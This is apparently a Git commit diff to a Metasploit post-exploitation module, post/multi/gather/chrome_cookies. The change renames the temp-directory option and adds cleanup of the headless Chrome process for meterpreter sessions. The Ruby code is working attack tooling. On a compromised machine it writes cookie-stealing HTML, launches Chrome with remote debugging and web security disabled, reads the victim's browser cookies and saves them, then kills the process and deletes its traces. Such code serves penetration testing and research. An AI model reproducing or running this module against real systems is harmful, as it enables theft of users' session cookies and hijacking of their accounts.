Cleanup headless Chrome process for meterpreter sessions
Alex
parent
33bc2be34a
commit
811605a9b8
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@ -6,7 +6,7 @@ Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headles
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This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk.
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The module writes a random 10-15 character file containing HTML to a directory you can specify via `TEMP_STORAGE_DIR`.
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The module writes a random 10-15 character file containing HTML to a directory you can specify via `WRITABLE_DIR`.
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## Vulnerable Application
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@ -29,7 +29,7 @@ Chrome does not need to be running on the target machine for this module to work
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The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option.
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**TEMP_STORAGE_DIR**
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**WRITABLE_DIR**
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Directory used to write temporary files.
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@ -58,7 +58,7 @@ Module options (post/multi/gather/chrome_cookies):
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CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS)
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REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol
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SESSION 1 yes The session to run this module on.
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TEMP_STORAGE_DIR /tmp no Where to write the html used to steal cookies temporarily
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WRITABLE_DIR /tmp no Where to write the html used to steal cookies temporarily
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msf post(multi/gather/chrome_cookies) > set session <your session id>
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session => <your session id>
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@ -22,7 +22,7 @@ class MetasploitModule < Msf::Post
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register_options(
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[
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OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']),
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OptString.new('TEMP_STORAGE_DIR', [true, 'Where to write the html used to steal cookies temporarily', '/tmp']),
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OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', ""]),
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OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])
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]
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)
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@ -37,18 +37,21 @@ class MetasploitModule < Msf::Post
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when 'unix', 'linux', 'bsd', 'python'
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@platform = :unix
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@chrome = 'google-chrome'
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@user_data_dir = "/home/#{session.username}/.config/google-chrome/"
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@temp_storage_dir = datastore['TEMP_STORAGE_DIR']
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@user_data_dir = "/home/#{session.username}/.config/google-chrome"
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@temp_storage_dir = datastore['WRITABLE_DIR']
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@temp_storage_dir = @temp_storage_dir.nil? ? "/tmp" : @temp_storage_dir
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when 'osx'
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@platform = :osx
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@chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
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@user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome"
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@temp_storage_dir = datastore['TEMP_STORAGE_DIR']
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@temp_storage_dir = datastore['WRITABLE_DIR']
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@temp_storage_dir = @temp_storage_dir.nil? ? "/tmp" : @temp_storage_dir
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when 'windows'
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@platform = :windows
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@chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"'
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@user_data_dir = "\\Users\\#{session.username}\\AppData\\Local\\Google\\Chrome\\User Data"
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@temp_storage_dir = "\\Users\\#{session.username}\\AppData\\Local\\Temp"
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@temp_storage_dir = datastore['WRITABLE_DIR']
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@temp_storage_dir = @temp_storage_dir.nil? ? "\\Users\\#{session.username}\\AppData\\Local\\Temp" : @temp_storage_dir
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else
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fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"
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end
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@ -57,30 +60,50 @@ class MetasploitModule < Msf::Post
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@chrome = datastore['CHROME_BINARY_PATH']
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end
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@retries = datastore['MAX_RETRIES']
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# Warn user that we are leaving a running process behind.
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if session.type != "meterpreter"
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print_warning "Non-meterpreter session used - This module will leave a headless Chrome process running on the target machine."
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end
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=begin
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unless writable? @temp_storage_dir
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fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable"
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end
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=end
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@html_storage_path = create_cookie_stealing_html
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@chrome_debugging_cmd = "#{@chrome}"
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@chrome_debugging_cmd = @chrome.to_s
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@chrome_debugging_args = []
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if @platform == :windows
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@chrome_debugging_args = '--enable-logging'
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@chrome_debugging_args << ' --disable-gpu'
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@chrome_debugging_args << ' --window-position=0,0'
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# `--headless` doesn't work on Windows, so use an offscreen window instead.
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@chrome_debugging_args << '--window-position=0,0'
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@chrome_debugging_args << '--enable-logging --v=1'
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else
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@chrome_debugging_args = '--headless'
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@chrome_debugging_args << '--headless'
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end
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@chrome_debugging_args << ' --disable-web-security'
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@chrome_debugging_args << ' --disable-plugins'
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chrome_debugging_args_all_platforms = [
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'--disable-translate',
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'--disable-extensions',
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'--disable-background-networking',
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'--safebrowsing-disable-auto-update',
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'--disable-sync',
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'--metrics-recording-only',
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'--disable-default-apps',
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'--mute-audio',
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'--no-first-run',
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'--disable-web-security',
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'--disable-plugins',
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'--disable-gpu'
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]
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@chrome_debugging_args += chrome_debugging_args_all_platforms
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@chrome_debugging_args << " --user-data-dir=\"#{@user_data_dir}\""
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@chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}"
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@chrome_debugging_args << " #{@html_storage_path}"
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@chrome_debugging_args = @chrome_debugging_args.join(" ")
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end
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def create_cookie_stealing_html
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@ -120,32 +143,50 @@ class MetasploitModule < Msf::Post
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)
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# Where to temporarily store the cookie-stealing html
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#html_storage_path = File.join @temp_storage_dir, Rex::Text.rand_text_alphanumeric(10..15)
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if @platform == :windows
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html_storage_path = "#{@temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
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else
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html_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
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end
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write_file html_storage_path, cookie_stealing_html
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html_storage_path
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end
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def cleanup_html
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def cleanup
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rm_f @html_storage_path
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rm_f @chrome_debug_log
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end
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def get_cookies
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if @platform == :windows
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chrome_pid = cmd_exec_get_pid @chrome_debugging_cmd, @chrome_debugging_args
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Rex::sleep(5)
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# Write to the chrome debug log, since `--enable-logging` is incompatible with `--headless`.
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chrome_cmd = "#{@chrome_debugging_cmd} #{@chrome_debugging_args}"
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@chrome_debug_log = "#{@user_data_dir}\\chrome_debug.log"
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kill_cmd = "taskkill /f /pid"
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@cookie_storage_path = @chrome_debug_log
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chrome_output = read_file("#{@user_data_dir}\\chrome_debug.log")
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cmd_exec("taskkill /f /pid #{chrome_pid}")
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else
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chrome_output = cmd_exec @chrome_debugging_cmd, @chrome_debugging_args
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@cookie_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
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chrome_cmd = "#{@chrome_debugging_cmd} #{@chrome_debugging_args} > #{@cookie_storage_path} 2>&1"
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kill_cmd = "kill -9"
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end
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print_status "Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd} #{@chrome_debugging_args}"
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if session.type == "meterpreter"
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chrome_pid = cmd_exec_get_pid chrome_cmd
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print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}"
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Rex.sleep(5)
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chrome_output = read_file @cookie_storage_path
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kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
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print_status "Running #{kill_cmd}\
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#{kill_output}"
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else
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chrome_output = cmd_exec chrome_cmd
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print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}"
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print_warning "Leaving headless Chrome process running...."
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end
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# Parse out the cookies from Chrome's output
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cookies_pattern = /REMOTE_DEBUGGING|\[.*\]/m
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@ -170,6 +211,6 @@ class MetasploitModule < Msf::Post
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cookies = get_cookies
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cookies_parsed = JSON.parse cookies
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save "#{cookies_parsed.length} Chrome Cookies", cookies
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cleanup_html
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cleanup
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end
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end
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